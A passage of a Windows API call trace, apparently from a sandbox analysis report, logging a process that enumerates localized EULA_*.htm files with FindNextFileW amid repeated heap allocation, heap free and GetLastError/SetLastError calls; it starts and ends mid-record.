[0118.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5675f8 [0118.651] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d5f05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d5f05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_en-gb.htm", cAlternateFileName="EULA_E~2.HTM")) returned 1 [0118.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0118.651] GetLastError () returned 0x5 [0118.651] SetLastError (dwErrCode=0x5) [0118.651] GetLastError () returned 0x5 [0118.651] SetLastError (dwErrCode=0x5) [0118.651] GetLastError () returned 0x5 [0118.651] SetLastError (dwErrCode=0x5) [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567580 [0118.651] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3d997f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3d997f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xe4b5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_en-us.htm", cAlternateFileName="EULA_E~3.HTM")) returned 1 [0118.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0118.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0118.652] GetLastError () returned 0x5 [0118.652] SetLastError (dwErrCode=0x5) [0118.652] GetLastError () returned 0x5 [0118.652] SetLastError (dwErrCode=0x5) [0118.652] GetLastError () returned 0x5 [0118.652] SetLastError (dwErrCode=0x5) [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0118.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0118.652] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dad37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dad37, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_es-es.htm", cAlternateFileName="EULA_E~4.HTM")) returned 1 [0118.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0118.652] GetLastError () returned 0x5 [0118.652] SetLastError (dwErrCode=0x5) [0118.652] GetLastError () returned 0x5 [0118.652] SetLastError (dwErrCode=0x5) [0118.652] GetLastError () returned 0x5 [0118.652] SetLastError (dwErrCode=0x5) [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0118.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0118.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0118.652] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dc0bd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dc0bd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x110b8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_es-mx.htm", cAlternateFileName="EU6344~1.HTM")) returned 1 [0118.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0118.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0118.653] GetLastError () returned 0x5 [0118.653] SetLastError (dwErrCode=0x5) [0118.653] GetLastError () returned 0x5 [0118.653] SetLastError (dwErrCode=0x5) [0118.653] GetLastError () returned 0x5 [0118.653] SetLastError (dwErrCode=0x5) [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0118.653] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dd45a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dd45a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf67d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_et-ee.htm", cAlternateFileName="EU56AC~1.HTM")) returned 1 [0118.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0118.653] GetLastError () returned 0x5 [0118.653] SetLastError (dwErrCode=0x5) [0118.653] GetLastError () returned 0x5 [0118.653] SetLastError (dwErrCode=0x5) [0118.653] GetLastError () returned 0x5 [0118.653] SetLastError (dwErrCode=0x5) [0118.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bdf8 [0118.654] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3dfb2b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3dfb2b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1145a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_fi-fi.htm", cAlternateFileName="EULA_F~1.HTM")) returned 1 [0118.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0118.654] GetLastError () returned 0x5 [0118.654] SetLastError (dwErrCode=0x5) [0118.654] GetLastError () returned 0x5 [0118.654] SetLastError (dwErrCode=0x5) [0118.654] GetLastError () returned 0x5 [0118.654] SetLastError (dwErrCode=0x5) [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c2a8 [0118.654] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e0ee6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e0ee6, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_fr-ca.htm", cAlternateFileName="EULA_F~2.HTM")) returned 1 [0118.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0118.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0118.654] GetLastError () returned 0x5 [0118.654] SetLastError (dwErrCode=0x5) [0118.654] GetLastError () returned 0x5 [0118.654] SetLastError (dwErrCode=0x5) [0118.654] GetLastError () returned 0x5 [0118.655] SetLastError (dwErrCode=0x5) [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bd80 [0118.655] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e2266, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e2266, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f0a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_fr-fr.htm", cAlternateFileName="EULA_F~3.HTM")) returned 1 [0118.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0118.655] GetLastError () returned 0x5 [0118.655] SetLastError (dwErrCode=0x5) [0118.655] GetLastError () returned 0x5 [0118.655] SetLastError (dwErrCode=0x5) [0118.655] GetLastError () returned 0x5 [0118.655] SetLastError (dwErrCode=0x5) [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bc90 [0118.655] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e35dd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e35dd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xd3187, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_he-il.htm", cAlternateFileName="EULA_H~1.HTM")) returned 1 [0118.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0118.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0118.655] GetLastError () returned 0x5 [0118.655] SetLastError (dwErrCode=0x5) [0118.656] GetLastError () returned 0x5 [0118.656] SetLastError (dwErrCode=0x5) [0118.656] GetLastError () returned 0x5 [0118.656] SetLastError (dwErrCode=0x5) [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60bd08 [0118.656] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3e977f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3e977f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_hr-hr.htm", cAlternateFileName="EULA_H~2.HTM")) returned 1 [0118.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0118.656] GetLastError () returned 0x5 [0118.656] SetLastError (dwErrCode=0x5) [0118.656] GetLastError () returned 0x5 [0118.656] SetLastError (dwErrCode=0x5) [0118.656] GetLastError () returned 0x5 [0118.656] SetLastError (dwErrCode=0x5) [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c410 [0118.656] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ebeab, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ebeab, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14a5a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_hu-hu.htm", cAlternateFileName="EULA_H~3.HTM")) returned 1 [0118.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0118.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0118.657] GetLastError () returned 0x5 [0118.657] SetLastError (dwErrCode=0x5) [0118.657] GetLastError () returned 0x5 [0118.657] SetLastError (dwErrCode=0x5) [0118.657] GetLastError () returned 0x5 [0118.657] SetLastError (dwErrCode=0x5) [0118.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c8c0 [0118.657] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ed234, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ed234, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10f6d, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_it-it.htm", cAlternateFileName="EULA_I~1.HTM")) returned 1 [0118.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0118.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0118.657] GetLastError () returned 0x5 [0118.657] SetLastError (dwErrCode=0x5) [0118.657] GetLastError () returned 0x5 [0118.657] SetLastError (dwErrCode=0x5) [0118.657] GetLastError () returned 0x5 [0118.657] SetLastError (dwErrCode=0x5) [0118.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c758 [0118.657] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ef94a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3ef94a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3354e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_ja-jp.htm", cAlternateFileName="EULA_J~1.HTM")) returned 1 [0118.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0118.658] GetLastError () returned 0x5 [0118.658] SetLastError (dwErrCode=0x5) [0118.658] GetLastError () returned 0x5 [0118.658] SetLastError (dwErrCode=0x5) [0118.658] GetLastError () returned 0x5 [0118.658] SetLastError (dwErrCode=0x5) [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c320 [0118.658] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f205a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f205a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x9ace3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_ko-kr.htm", cAlternateFileName="EULA_K~1.HTM")) returned 1 [0118.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0118.658] GetLastError () returned 0x5 [0118.658] SetLastError (dwErrCode=0x5) [0118.658] GetLastError () returned 0x5 [0118.658] SetLastError (dwErrCode=0x5) [0118.658] GetLastError () returned 0x5 [0118.658] SetLastError (dwErrCode=0x5) [0118.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c7d0 [0118.659] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f33e0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f33e0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1293b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_lt-lt.htm", cAlternateFileName="EULA_L~1.HTM")) returned 1 [0118.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0118.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0118.659] GetLastError () returned 0x5 [0118.659] SetLastError (dwErrCode=0x5) [0118.659] GetLastError () returned 0x5 [0118.659] SetLastError (dwErrCode=0x5) [0118.659] GetLastError () returned 0x5 [0118.659] SetLastError (dwErrCode=0x5) [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60be70 [0118.659] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3f5af3, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3f5af3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x147c5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_lv-lv.htm", cAlternateFileName="EULA_L~2.HTM")) returned 1 [0118.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0118.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0118.659] GetLastError () returned 0x5 [0118.659] SetLastError (dwErrCode=0x5) [0118.659] GetLastError () returned 0x5 [0118.659] SetLastError (dwErrCode=0x5) [0118.660] GetLastError () returned 0x5 [0118.660] SetLastError (dwErrCode=0x5) [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0118.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c848 [0118.660] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fa921, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fa921, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x10674, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EULA_nb-no.htm", cAlternateFileName="EULA_N~1.HTM")) returned 1 [0118.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0118.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0118.660] GetLastError () returned 0x5 [0118.660] SetLastError (dwErrCode=0x5) [0118.660] GetLastError () returned 0x5 [0118.660] SetLastError (dwErrCode=0x5) [0118.660] GetLastError () returned 0x5 [0118.660] SetLastError (dwErrCode=0x5) [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0118.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0118.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x60c398 [0118.660] FindNextFileW (in: hFindFile=0x567018, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3fe3b1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3fe3b1, ftLastAccessTime.dwHighDateTime=0x1d32736, 